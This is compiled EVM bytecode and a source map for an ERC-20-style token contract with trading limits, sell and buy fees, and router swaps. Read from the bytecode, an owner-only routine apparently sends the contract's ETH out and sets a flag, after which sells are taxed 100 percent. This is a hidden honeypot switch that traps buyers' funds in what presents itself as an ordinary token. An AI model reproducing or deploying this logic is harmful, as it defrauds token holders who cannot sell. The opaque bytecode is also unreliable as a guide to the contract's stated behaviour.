0x6080604052600436106101235760003560e01c806370a08231116100a057806395d89b411161006457806395d89b411461012f578063a9059cbb14610321578063b70143c914610341578063dd62ed3e14610361578063f2fde38b146103a757600080fd5b806370a08231146102a2578063715018a6146102c25780637d1db4a5146102d75780638da5cb5b146102ed5780638f9a55c01461030b57600080fd5b80632fd689e3116100e75780632fd689e314610219578063313ce5671461022f57806349bd5a5e1461024b5780636d8aa8f81461026b5780636fc3eaec1461028d57600080fd5b806306fdde031461012f578063095ea7b31461016c5780631694505e1461019c57806318160ddd146101d457806323b872dd146101f957600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082018252600581526409e9c8aa8960db1b6020820152905161016391906113ae565b60405180910390f35b34801561017857600080fd5b5061018c610187366004611414565b6103c7565b6040519015158152602001610163565b3480156101a857600080fd5b506012546101bc906001600160a01b031681565b6040516001600160a01b039091168152602001610163565b3480156101e057600080fd5b50670de0b6b3a76400005b604051908152602001610163565b34801561020557600080fd5b5061018c610214366004611440565b6103de565b34801561022557600080fd5b506101eb60185481565b34801561023b57600080fd5b5060405160098152602001610163565b34801561025757600080fd5b506013546101bc906001600160a01b031681565b34801561027757600080fd5b5061028b610286366004611481565b610447565b005b34801561029957600080fd5b5061028b610496565b3480156102ae57600080fd5b506101eb6102bd3660046114a3565b6104a6565b3480156102ce57600080fd5b5061028b6104c8565b3480156102e357600080fd5b506101eb60165481565b3480156102f957600080fd5b506000546001600160a01b03166101bc565b34801561031757600080fd5b506101eb60175481565b34801561032d57600080fd5b5061018c61033c366004611414565b61053c565b34801561034d57600080fd5b5061028b61035c3660046114c0565b610549565b34801561036d57600080fd5b506101eb61037c3660046114d9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103b357600080fd5b5061028b6103c23660046114a3565b6105a8565b60006103d4338484610692565b5060015b92915050565b60006103eb8484846107b6565b61043d843361043885604051806060016040528060288152602001611661602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c85565b610692565b5060019392505050565b6000546001600160a01b0316331461047a5760405162461bcd60e51b815260040161047190611512565b60405180910390fd5b60158054911515620100000262ff000019909216919091179055565b61049f47610cbf565b6001601455565b6001600160a01b0381166000908152600260205260408120546103d890610cfd565b6000546001600160a01b031633146104f25760405162461bcd60e51b815260040161047190611512565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103d43384846107b6565b6000546001600160a01b031633146105735760405162461bcd60e51b815260040161047190611512565b600061057e306104a6565b90506000606461058e848461155d565b6105989190611574565b90506105a381610d81565b505050565b6000546001600160a01b031633146105d25760405162461bcd60e51b815260040161047190611512565b6001600160a01b0381166106375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610471565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610471565b6001600160a01b0382166107555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610471565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661081a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610471565b6001600160a01b03821661087c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610471565b600081116108de5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610471565b6000546001600160a01b0384811691161480159061090a57506000546001600160a01b03838116911614155b15610b645760155460ff1661099c576000546001600160a01b0384811691161461099c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610471565b6016548111156109ee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610471565b6013546001600160a01b03838116911614610a735760175481610a10846104a6565b610a1a9190611596565b10610a735760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610471565b6000610a7e306104a6565b6018549091508082101590610a9490600561155d565b8210610aab57601854610aa890600561155d565b91505b808015610ac05750601554610100900460ff16155b8015610ada57506013546001600160a01b03868116911614155b8015610aee575060155462010000900460ff165b8015610b1357506001600160a01b03851660009081526005602052604090205460ff16155b8015610b3857506001600160a01b03841660009081526005602052604090205460ff16155b15610b6157610b4682610d81565b4766b1a2bc2ec50000811115610b5f57610b5f81610cbf565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610ba657506001600160a01b03831660009081526005602052604090205460ff165b80610bd857506013546001600160a01b03858116911614801590610bd857506013546001600160a01b03848116911614155b15610be557506000610c73565b6013546001600160a01b038581169116148015610c1057506012546001600160a01b03848116911614155b15610c2257600854600c55600954600d555b6013546001600160a01b038481169116148015610c4d57506012546001600160a01b03858116911614155b15610c7357600a54600c55601454600003610c6d57600b54600d55610c73565b6064600d555b610c7f84848484610ef5565b50505050565b60008184841115610ca95760405162461bcd60e51b815260040161047191906113ae565b506000610cb684866115a9565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cf9573d6000803e3d6000fd5b5050565b6000600654821115610d645760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610471565b6000610d6e610f23565b9050610d7a8382610f46565b9392505050565b6015805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dc557610dc56115bc565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4291906115d2565b81600181518110610e5557610e556115bc565b6001600160a01b039283166020918202929092010152601254610e7b9130911684610692565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb49085906000908690309042906004016115ef565b600060405180830381600087803b158015610ece57600080fd5b505af1158015610ee2573d6000803e3d6000fd5b50506015805461ff001916905550505050565b80610f0257610f02610f88565b610f0d848484610fb6565b80610c7f57610c7f600e54600c55600f54600d55565b6000806000610f306110ad565b9092509050610f3f8282610f46565b9250505090565b6000610d7a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110ed565b600c54158015610f985750600d54155b15610f9f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080610fc88761111b565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610ffa9087611178565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461102990866111ba565b6001600160a01b03891660009081526002602052604090205561104b81611219565b6110558483611263565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161109a91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006110c88282610f46565b8210156110e457505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361110e5760405162461bcd60e51b815260040161047191906113ae565b506000610cb68486611574565b60008060008060008060008060006111388a600c54600d54611287565b9250925092506000611148610f23565b9050600080600061115b8e8787876112dc565b919e509c509a509598509396509194505050505091939550919395565b6000610d7a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c85565b6000806111c78385611596565b905083811015610d7a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610471565b6000611223610f23565b90506000611231838361132c565b3060009081526002602052604090205490915061124e90826111ba565b30600090815260026020526040902055505050565b6006546112709083611178565b60065560075461128090826111ba565b6007555050565b60008080806112a1606461129b898961132c565b90610f46565b905060006112b4606461129b8a8961132c565b905060006112cc826112c68b86611178565b90611178565b9992985090965090945050505050565b60008080806112eb888661132c565b905060006112f9888761132c565b90506000611307888861132c565b90506000611319826112c68686611178565b939b939a50919850919650505050505050565b60008260000361133e575060006103d8565b600061134a838561155d565b9050826113578583611574565b14610d7a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610471565b600060208083528351808285015260005b818110156113db578581018301518582016040015282016113bf565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461141157600080fd5b50565b6000806040838503121561142757600080fd5b8235611432816113fc565b946020939093013593505050565b60008060006060848603121561145557600080fd5b8335611460816113fc565b92506020840135611470816113fc565b929592945050506040919091013590565b60006020828403121561149357600080fd5b81358015158114610d7a57600080fd5b6000602082840312156114b557600080fd5b8135610d7a816113fc565b6000602082840312156114d257600080fd5b5035919050565b600080604083850312156114ec57600080fd5b82356114f7816113fc565b91506020830135611507816113fc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176103d8576103d8611547565b60008261159157634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156103d8576103d8611547565b818103818111156103d8576103d8611547565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156115e457600080fd5b8151610d7a816113fc565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163f5784516001600160a01b03168352938301939183019160010161161a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206137c412280167d7e9e873556d53ff328fb5c7f5cc20b5aeb855f89ea74bbc4a64736f6c63430008130033

Deployed Bytecode Sourcemap

4186:11883:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6554:83;;;;;;;;;;-1:-1:-1;6624:5:0;;;;;;;;;;;-1:-1:-1;;;6624:5:0;;;;6554:83;;;;6624:5;6554:83;:::i;:::-;;;;;;;;7479:193;;;;;;;;;;-1:-1:-1;7479:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7479:193:0;1023:187:1;5434:41:0;;;;;;;;;;-1:-1:-1;5434:41:0;;;;-1:-1:-1;;;;;5434:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5434:41:0;1215:229:1;6831:95:0;;;;;;;;;;-1:-1:-1;4728:18:0;6831:95;;;1595:25:1;;;1583:2;1568:18;6831:95:0;1449:177:1;7680:446:0;;;;;;;;;;-1:-1:-1;7680:446:0;;;;;:::i;:::-;;:::i;5757:54::-;;;;;;;;;;;;;;;;6740:83;;;;;;;;;;-1:-1:-1;6740:83:0;;4402:1;2234:36:1;;2222:2;2207:18;6740:83:0;2092:184:1;5482:28:0;;;;;;;;;;-1:-1:-1;5482:28:0;;;;-1:-1:-1;;;;;5482:28:0;;;12563:103;;;;;;;;;;-1:-1:-1;12563:103:0;;;;;:::i;:::-;;:::i;:::-;;12206:109;;;;;;;;;;;;;:::i;6934:138::-;;;;;;;;;;-1:-1:-1;6934:138:0;;;;;:::i;:::-;;:::i;1673:148::-;;;;;;;;;;;;;:::i;5667:37::-;;;;;;;;;;;;;;;;1459:79;;;;;;;;;;-1:-1:-1;1497:7:0;1524:6;-1:-1:-1;;;;;1524:6:0;1459:79;;5711:39;;;;;;;;;;;;;;;;7080:199;;;;;;;;;;-1:-1:-1;7080:199:0;;;;;:::i;:::-;;:::i;12323:232::-;;;;;;;;;;-1:-1:-1;12323:232:0;;;;;:::i;:::-;;:::i;7287:184::-;;;;;;;;;;-1:-1:-1;7287:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7436:18:0;;;7404:7;7436:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7287:184;1829:244;;;;;;;;;;-1:-1:-1;1829:244:0;;;;;:::i;:::-;;:::i;7479:193::-;7581:4;7603:39;298:10;7626:7;7635:6;7603:8;:39::i;:::-;-1:-1:-1;7660:4:0;7479:193;;;;;:::o;7680:446::-;7812:4;7829:36;7839:6;7847:9;7858:6;7829:9;:36::i;:::-;7876:220;7899:6;298:10;7947:138;8003:6;7947:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7947:19:0;;;;;;:11;:19;;;;;;;;298:10;7947:33;;;;;;;;;;:37;:138::i;:::-;7876:8;:220::i;:::-;-1:-1:-1;8114:4:0;7680:446;;;;;:::o;12563:103::-;1586:6;;-1:-1:-1;;;;;1586:6:0;298:10;1586:22;1578:67;;;;-1:-1:-1;;;1578:67:0;;;;;;;:::i;:::-;;;;;;;;;12632:11:::1;:26:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;12632:26:0;;::::1;::::0;;;::::1;::::0;;12563:103::o;12206:109::-;12248:35;12261:21;12248:12;:35::i;:::-;12306:1;12294:9;:13;12206:109::o;6934:138::-;-1:-1:-1;;;;;7047:16:0;;7000:7;7047:16;;;:7;:16;;;;;;7027:37;;:19;:37::i;1673:148::-;1586:6;;-1:-1:-1;;;;;1586:6:0;298:10;1586:22;1578:67;;;;-1:-1:-1;;;1578:67:0;;;;;;;:::i;:::-;1780:1:::1;1764:6:::0;;1743:40:::1;::::0;-1:-1:-1;;;;;1764:6:0;;::::1;::::0;1743:40:::1;::::0;1780:1;;1743:40:::1;1811:1;1794:19:::0;;-1:-1:-1;;;;;;1794:19:0::1;::::0;;1673:148::o;7080:199::-;7185:4;7207:42;298:10;7231:9;7242:6;7207:9;:42::i;12323:232::-;1586:6;;-1:-1:-1;;;;;1586:6:0;298:10;1586:22;1578:67;;;;-1:-1:-1;;;1578:67:0;;;;;;;:::i;:::-;12389:28:::1;12420:24;12438:4;12420:9;:24::i;:::-;12389:55:::0;-1:-1:-1;12455:18:0::1;12505:3;12476:28;12497:7:::0;12389:55;12476:28:::1;:::i;:::-;:32;;;;:::i;:::-;12455:53;;12519:28;12536:10;12519:16;:28::i;:::-;12378:177;;12323:232:::0;:::o;1829:244::-;1586:6;;-1:-1:-1;;;;;1586:6:0;298:10;1586:22;1578:67;;;;-1:-1:-1;;;1578:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1918:22:0;::::1;1910:73;;;::::0;-1:-1:-1;;;1910:73:0;;4687:2:1;1910:73:0::1;::::0;::::1;4669:21:1::0;4726:2;4706:18;;;4699:30;4765:34;4745:18;;;4738:62;-1:-1:-1;;;4816:18:1;;;4809:36;4862:19;;1910:73:0::1;4485:402:1::0;1910:73:0::1;2020:6;::::0;;1999:38:::1;::::0;-1:-1:-1;;;;;1999:38:0;;::::1;::::0;2020:6;::::1;::::0;1999:38:::1;::::0;::::1;2048:6;:17:::0;;-1:-1:-1;;;;;;2048:17:0::1;-1:-1:-1::0;;;;;2048:17:0;;;::::1;::::0;;;::::1;::::0;;1829:244::o;8817:369::-;-1:-1:-1;;;;;8944:19:0;;8936:68;;;;-1:-1:-1;;;8936:68:0;;5094:2:1;8936:68:0;;;5076:21:1;5133:2;5113:18;;;5106:30;5172:34;5152:18;;;5145:62;-1:-1:-1;;;5223:18:1;;;5216:34;5267:19;;8936:68:0;4892:400:1;8936:68:0;-1:-1:-1;;;;;9023:21:0;;9015:68;;;;-1:-1:-1;;;9015:68:0;;5499:2:1;9015:68:0;;;5481:21:1;5538:2;5518:18;;;5511:30;5577:34;5557:18;;;5550:62;-1:-1:-1;;;5628:18:1;;;5621:32;5670:19;;9015:68:0;5297:398:1;9015:68:0;-1:-1:-1;;;;;9094:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9146:32;;1595:25:1;;;9146:32:0;;1568:18:1;9146:32:0;;;;;;;8817:369;;;:::o;9194:2400::-;-1:-1:-1;;;;;9316:18:0;;9308:68;;;;-1:-1:-1;;;9308:68:0;;5902:2:1;9308:68:0;;;5884:21:1;5941:2;5921:18;;;5914:30;5980:34;5960:18;;;5953:62;-1:-1:-1;;;6031:18:1;;;6024:35;6076:19;;9308:68:0;5700:401:1;9308:68:0;-1:-1:-1;;;;;9395:16:0;;9387:64;;;;-1:-1:-1;;;9387:64:0;;6308:2:1;9387:64:0;;;6290:21:1;6347:2;6327:18;;;6320:30;6386:34;6366:18;;;6359:62;-1:-1:-1;;;6437:18:1;;;6430:33;6480:19;;9387:64:0;6106:399:1;9387:64:0;9479:1;9470:6;:10;9462:64;;;;-1:-1:-1;;;9462:64:0;;6712:2:1;9462:64:0;;;6694:21:1;6751:2;6731:18;;;6724:30;6790:34;6770:18;;;6763:62;-1:-1:-1;;;6841:18:1;;;6834:39;6890:19;;9462:64:0;6510:405:1;9462:64:0;1497:7;1524:6;-1:-1:-1;;;;;9543:15:0;;;1524:6;;9543:15;;;;:32;;-1:-1:-1;1497:7:0;1524:6;-1:-1:-1;;;;;9562:13:0;;;1524:6;;9562:13;;9543:32;9539:1203;;;9632:11;;;;9627:144;;1497:7;1524:6;-1:-1:-1;;;;;9672:15:0;;;1524:6;;9672:15;9664:91;;;;-1:-1:-1;;;9664:91:0;;7122:2:1;9664:91:0;;;7104:21:1;7161:2;7141:18;;;7134:30;7200:34;7180:18;;;7173:62;7271:33;7251:18;;;7244:61;7322:19;;9664:91:0;6920:427:1;9664:91:0;9805:12;;9795:6;:22;;9787:63;;;;-1:-1:-1;;;9787:63:0;;7554:2:1;9787:63:0;;;7536:21:1;7593:2;7573:18;;;7566:30;7632;7612:18;;;7605:58;7680:18;;9787:63:0;7352:352:1;9787:63:0;9876:13;;-1:-1:-1;;;;;9870:19:0;;;9876:13;;9870:19;9867:146;;9943:14;;9934:6;9918:13;9928:2;9918:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9910:87;;;;-1:-1:-1;;;9910:87:0;;8041:2:1;9910:87:0;;;8023:21:1;8080:2;8060:18;;;8053:30;8119:34;8099:18;;;8092:62;-1:-1:-1;;;8170:18:1;;;8163:33;8213:19;;9910:87:0;7839:399:1;9910:87:0;10029:28;10060:24;10078:4;10060:9;:24::i;:::-;10138:19;;10029:55;;-1:-1:-1;10114:43:0;;;;;10201:21;;10221:1;10201:21;:::i;:::-;10177:20;:45;10174:142;;10279:19;;:21;;10299:1;10279:21;:::i;:::-;10256:44;;10174:142;10336:7;:18;;;;-1:-1:-1;10348:6:0;;;;;;;10347:7;10336:18;:43;;;;-1:-1:-1;10366:13:0;;-1:-1:-1;;;;;10358:21:0;;;10366:13;;10358:21;;10336:43;:58;;;;-1:-1:-1;10383:11:0;;;;;;;10336:58;:87;;;;-1:-1:-1;;;;;;10399:24:0;;;;;;:18;:24;;;;;;;;10398:25;10336:87;:114;;;;-1:-1:-1;;;;;;10428:22:0;;;;;;:18;:22;;;;;;;;10427:23;10336:114;10332:399;;;10471:38;10488:20;10471:16;:38::i;:::-;10557:21;10622:17;10601:38;;10597:119;;;10664:32;10677:18;10664:12;:32::i;:::-;10452:279;10332:399;9577:1165;;9539:1203;-1:-1:-1;;;;;10818:24:0;;10754:12;10818:24;;;:18;:24;;;;;;10769:4;;10818:24;;;:50;;-1:-1:-1;;;;;;10846:22:0;;;;;;:18;:22;;;;;;;;10818:50;10817:102;;;-1:-1:-1;10882:13:0;;-1:-1:-1;;;;;10874:21:0;;;10882:13;;10874:21;;;;:44;;-1:-1:-1;10905:13:0;;-1:-1:-1;;;;;10899:19:0;;;10905:13;;10899:19;;10874:44;10813:720;;;-1:-1:-1;10946:5:0;10813:720;;;11029:13;;-1:-1:-1;;;;;11021:21:0;;;11029:13;;11021:21;:55;;;;-1:-1:-1;11060:15:0;;-1:-1:-1;;;;;11046:30:0;;;11060:15;;11046:30;;11021:55;11018:162;;;11109:14;;11097:9;:26;11152:12;;11142:7;:22;11018:162;11239:13;;-1:-1:-1;;;;;11233:19:0;;;11239:13;;11233:19;:55;;;;-1:-1:-1;11272:15:0;;-1:-1:-1;;;;;11256:32:0;;;11272:15;;11256:32;;11233:55;11229:293;;;11322:15;;11310:9;:27;11361:9;;-1:-1:-1;11361:14:0;11358:149;;11411:13;;11401:7;:23;11358:149;;;11484:3;11473:7;:14;11358:149;11545:41;11560:4;11566:2;11570:6;11578:7;11545:14;:41::i;:::-;9297:2297;9194:2400;;;:::o;2437:224::-;2557:7;2593:12;2585:6;;;;2577:29;;;;-1:-1:-1;;;2577:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2617:9:0;2629:5;2633:1;2629;:5;:::i;:::-;2617:17;2437:224;-1:-1:-1;;;;;2437:224:0:o;12099:99::-;12156:17;;:34;;-1:-1:-1;;;;;12156:17:0;;;;:34;;;;;12183:6;;12156:17;:34;:17;:34;12183:6;12156:17;:34;;;;;;;;;;;;;;;;;;;;;12099:99;:::o;8134:323::-;8229:7;8287;;8276;:18;;8254:110;;;;-1:-1:-1;;;8254:110:0;;8578:2:1;8254:110:0;;;8560:21:1;8617:2;8597:18;;;8590:30;8656:34;8636:18;;;8629:62;-1:-1:-1;;;8707:18:1;;;8700:40;8757:19;;8254:110:0;8376:406:1;8254:110:0;8375:19;8397:10;:8;:10::i;:::-;8375:32;-1:-1:-1;8425:24:0;:7;8375:32;8425:11;:24::i;:::-;8418:31;8134:323;-1:-1:-1;;;8134:323:0:o;11608:483::-;5905:6;:13;;-1:-1:-1;;5905:13:0;;;;;11710:16:::1;::::0;;11724:1:::1;11710:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11710:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11710:16:0::1;11686:40;;11755:4;11737;11742:1;11737:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11737:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11781:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11781:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11737:7;;11781:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11771:4;11776:1;11771:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11771:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11846:15:::1;::::0;11814:62:::1;::::0;11831:4:::1;::::0;11846:15:::1;11864:11:::0;11814:8:::1;:62::i;:::-;11887:15;::::0;:196:::1;::::0;-1:-1:-1;;;11887:196:0;;-1:-1:-1;;;;;11887:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11968:11;;11887:15:::1;::::0;12010:4;;12037::::1;::::0;12057:15:::1;::::0;11887:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5941:6:0;:14;;-1:-1:-1;;5941:14:0;;;-1:-1:-1;;;;11608:483:0:o;12674:282::-;12830:7;12825:28;;12839:14;:12;:14::i;:::-;12864:44;12882:6;12890:9;12901:6;12864:17;:44::i;:::-;12924:7;12919:29;;12933:15;8748:17;;8736:9;:29;8786:15;;8776:7;:25;8692:117;15635:164;15677:7;15698:15;15715;15734:19;:17;:19::i;:::-;15697:56;;-1:-1:-1;15697:56:0;-1:-1:-1;15771:20:0;15697:56;;15771:11;:20::i;:::-;15764:27;;;;15635:164;:::o;2923:132::-;2981:7;3008:39;3012:1;3015;3008:39;;;;;;;;;;;;;;;;;:3;:39::i;8465:219::-;8512:9;;:14;:30;;;;-1:-1:-1;8530:7:0;;:12;8512:30;8508:43;;;8465:219::o;8508:43::-;8583:9;;;8563:17;:29;8621:7;;;8603:15;:25;-1:-1:-1;8641:13:0;;;;8665:11;8465:219::o;12964:610::-;13111:15;13141:23;13179:12;13206:23;13244:12;13271:13;13298:19;13309:7;13298:10;:19::i;:::-;-1:-1:-1;;;;;13346:15:0;;;;;;:7;:15;;;;;;13096:221;;-1:-1:-1;13096:221:0;;-1:-1:-1;13096:221:0;;-1:-1:-1;13096:221:0;-1:-1:-1;13096:221:0;-1:-1:-1;13096:221:0;-1:-1:-1;13346:28:0;;13096:221;13346:19;:28::i;:::-;-1:-1:-1;;;;;13328:15:0;;;;;;;:7;:15;;;;;;:46;;;;13406:18;;;;;;;:39;;13429:15;13406:22;:39::i;:::-;-1:-1:-1;;;;;13385:18:0;;;;;;:7;:18;;;;;:60;13456:16;13466:5;13456:9;:16::i;:::-;13483:23;13495:4;13501;13483:11;:23::i;:::-;13539:9;-1:-1:-1;;;;;13522:44:0;13531:6;-1:-1:-1;;;;;13522:44:0;;13550:15;13522:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13522:44:0;;;;;;;;13085:489;;;;;;12964:610;;;:::o;15807:257::-;15905:7;;15858;;;;4728:18;15973:20;15905:7;4728:18;15973:11;:20::i;:::-;15963:7;:30;15959:61;;;-1:-1:-1;;16003:7:0;;;4728:18;;-1:-1:-1;15807:257:0;-1:-1:-1;15807:257:0:o;15959:61::-;16039:7;;16048;;-1:-1:-1;15807:257:0;-1:-1:-1;15807:257:0:o;3063:223::-;3183:7;3218:12;3211:5;3203:28;;;;-1:-1:-1;;;3203:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3242:9:0;3254:5;3258:1;3254;:5;:::i;13993:615::-;14093:7;14115;14137;14159;14181;14203;14239:23;14264:12;14278:13;14308:40;14320:7;14329:9;;14340:7;;14308:11;:40::i;:::-;14238:110;;;;;;14359:19;14381:10;:8;:10::i;:::-;14359:32;;14403:15;14420:23;14445:12;14474:46;14486:7;14495:4;14501:5;14508:11;14474;:46::i;:::-;14402:118;;-1:-1:-1;14402:118:0;-1:-1:-1;14402:118:0;-1:-1:-1;14571:15:0;;-1:-1:-1;14588:4:0;;-1:-1:-1;14594:5:0;;-1:-1:-1;;;;;13993:615:0;;;;;;;:::o;2293:136::-;2351:7;2378:43;2382:1;2385;2378:43;;;;;;;;;;;;;;;;;:3;:43::i;2106:179::-;2164:7;;2196:5;2200:1;2196;:5;:::i;:::-;2184:17;;2225:1;2220;:6;;2212:46;;;;-1:-1:-1;;;2212:46:0;;10494:2:1;2212:46:0;;;10476:21:1;10533:2;10513:18;;;10506:30;10572:29;10552:18;;;10545:57;10619:18;;2212:46:0;10292:351:1;13582:211:0;13635:19;13657:10;:8;:10::i;:::-;13635:32;-1:-1:-1;13678:13:0;13694:22;:5;13635:32;13694:9;:22::i;:::-;13768:4;13752:22;;;;:7;:22;;;;;;13678:38;;-1:-1:-1;13752:33:0;;13678:38;13752:26;:33::i;:::-;13743:4;13727:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13582:211:0:o;13801:147::-;13879:7;;:17;;13891:4;13879:11;:17::i;:::-;13869:7;:27;13920:10;;:20;;13935:4;13920:14;:20::i;:::-;13907:10;:33;-1:-1:-1;;13801:147:0:o;14616:469::-;14785:7;;;;14879:30;14905:3;14879:21;:7;14891:8;14879:11;:21::i;:::-;:25;;:30::i;:::-;14864:45;-1:-1:-1;14920:13:0;14936:28;14960:3;14936:19;:7;14948:6;14936:11;:19::i;:28::-;14920:44;-1:-1:-1;14975:23:0;15001:28;14920:44;15001:17;:7;15013:4;15001:11;:17::i;:::-;:21;;:28::i;:::-;14975:54;15065:4;;-1:-1:-1;15071:5:0;;-1:-1:-1;14616:469:0;;-1:-1:-1;;;;;14616:469:0:o;15093:534::-;15287:7;;;;15384:24;:7;15396:11;15384;:24::i;:::-;15366:42;-1:-1:-1;15419:12:0;15434:21;:4;15443:11;15434:8;:21::i;:::-;15419:36;-1:-1:-1;15466:13:0;15482:22;:5;15492:11;15482:9;:22::i;:::-;15466:38;-1:-1:-1;15515:23:0;15541:28;15466:38;15541:17;:7;15553:4;15541:11;:17::i;:28::-;15588:7;;;;-1:-1:-1;15614:4:0;;-1:-1:-1;15093:534:0;;-1:-1:-1;;;;;;;15093:534:0:o;2669:246::-;2727:7;2751:1;2756;2751:6;2747:47;;-1:-1:-1;2781:1:0;2774:8;;2747:47;2804:9;2816:5;2820:1;2816;:5;:::i;:::-;2804:17;-1:-1:-1;2849:1:0;2840:5;2844:1;2804:17;2840:5;:::i;:::-;:10;2832:56;;;;-1:-1:-1;;;2832:56:0;;10850:2:1;2832:56:0;;;10832:21:1;10889:2;10869:18;;;10862:30;10928:34;10908:18;;;10901:62;-1:-1:-1;;;10979:18:1;;;10972:31;11020:19;;2832:56:0;10648:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;